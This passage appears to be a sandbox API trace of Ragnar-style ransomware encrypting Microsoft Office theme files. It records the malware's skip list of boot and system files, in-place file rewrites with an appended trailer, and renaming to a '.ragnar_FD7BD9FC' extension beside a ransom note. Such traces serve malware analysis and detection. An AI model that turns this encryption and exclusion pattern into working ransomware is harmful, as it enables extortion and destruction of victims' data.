nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1 [0095.192] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.192] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Pushpin.thmx" | out: lpString1="Pushpin.thmx") returned="Pushpin.thmx" [0095.192] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx") returned=".thmx" [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="autorun.inf") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="boot.ini") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="bootfont.bin") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="bootsect.bak") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="bootmgr") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="bootmgr.efi") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="bootmgfw.efi") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="desktop.ini") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="iconcache.db") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="ntldr") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="ntuser.dat") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="ntuser.dat.log") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="ntuser.ini") returned 1 [0095.192] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="thumbs.db") returned -1 [0095.192] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.192] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.192] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.192] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.192] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.192] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.192] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx")) returned 0x20 [0095.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.193] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=825294) returned 1 [0095.193] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xc97c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.193] GetProcessHeap () returned 0x580000 [0095.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.193] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.195] VirtualAlloc (lpAddress=0x0, dwSize=0xc97ce, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0095.195] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.196] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.196] ReadFile (in: hFile=0x98, lpBuffer=0x22c0000, nNumberOfBytesToRead=0xc97ce, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1eba0c*=0xc97ce, lpOverlapped=0x0) returned 1 [0095.211] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.216] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc97ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.216] WriteFile (in: hFile=0x98, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0xc97ce, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1eba08*=0xc97ce, lpOverlapped=0x0) returned 1 [0095.218] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc97ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.218] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.222] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xc97ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.222] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.222] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.222] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.222] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.222] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.222] GetProcessHeap () returned 0x580000 [0095.222] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.222] CloseHandle (hObject=0x98) returned 1 [0095.222] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" [0095.222] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.ragnar_FD7BD9FC" [0095.222] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.223] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89f7aea0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89f7aea0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0095.223] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.223] lstrcpyW (in: lpString1=0x1ec10a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0095.223] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\RGNR_FD7BD9FC.txt") returned=".txt" [0095.223] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0095.223] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1 [0095.223] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.223] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Slipstream.thmx" | out: lpString1="Slipstream.thmx") returned="Slipstream.thmx" [0095.223] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx") returned=".thmx" [0095.223] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0095.223] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="autorun.inf") returned 1 [0095.223] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="boot.ini") returned 1 [0095.223] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="bootfont.bin") returned 1 [0095.223] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="bootsect.bak") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="bootmgr") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="bootmgr.efi") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="bootmgfw.efi") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="desktop.ini") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="iconcache.db") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="ntldr") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="ntuser.dat") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="ntuser.dat.log") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="ntuser.ini") returned 1 [0095.224] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="thumbs.db") returned -1 [0095.224] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.224] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.224] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.224] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.224] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.224] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.224] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx")) returned 0x20 [0095.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.225] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=67304) returned 1 [0095.225] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x106df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.225] GetProcessHeap () returned 0x580000 [0095.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.225] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.226] VirtualAlloc (lpAddress=0x0, dwSize=0x106e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.226] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.226] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.226] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x106e8, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x106e8, lpOverlapped=0x0) returned 1 [0095.228] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.229] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x106e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.229] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x106e8, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x106e8, lpOverlapped=0x0) returned 1 [0095.229] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x106e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.229] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.229] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x106e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.229] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.229] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.230] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.230] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.230] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.230] GetProcessHeap () returned 0x580000 [0095.230] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.230] CloseHandle (hObject=0x98) returned 1 [0095.230] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" [0095.230] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.ragnar_FD7BD9FC" [0095.230] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.231] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1 [0095.231] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.231] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Solstice.thmx" | out: lpString1="Solstice.thmx") returned="Solstice.thmx" [0095.231] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx") returned=".thmx" [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="autorun.inf") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="boot.ini") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="bootfont.bin") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="bootsect.bak") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="bootmgr") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="bootmgr.efi") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="bootmgfw.efi") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="desktop.ini") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="iconcache.db") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="ntldr") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="ntuser.dat") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="ntuser.dat.log") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="ntuser.ini") returned 1 [0095.231] lstrcmpiW (lpString1="Solstice.thmx", lpString2="thumbs.db") returned -1 [0095.231] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.231] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.231] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.232] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.232] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.232] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.232] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx")) returned 0x20 [0095.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.232] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=74912) returned 1 [0095.232] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x12497, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.232] GetProcessHeap () returned 0x580000 [0095.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.232] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.234] VirtualAlloc (lpAddress=0x0, dwSize=0x124a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.234] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.234] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.234] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x124a0, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x124a0, lpOverlapped=0x0) returned 1 [0095.236] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.236] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x124a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.236] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x124a0, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x124a0, lpOverlapped=0x0) returned 1 [0095.237] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x124a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.237] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.237] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x124a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.237] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.237] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.237] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.237] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.238] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.238] GetProcessHeap () returned 0x580000 [0095.238] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.238] CloseHandle (hObject=0x98) returned 1 [0095.238] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" [0095.238] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.ragnar_FD7BD9FC" [0095.238] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.238] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1 [0095.238] 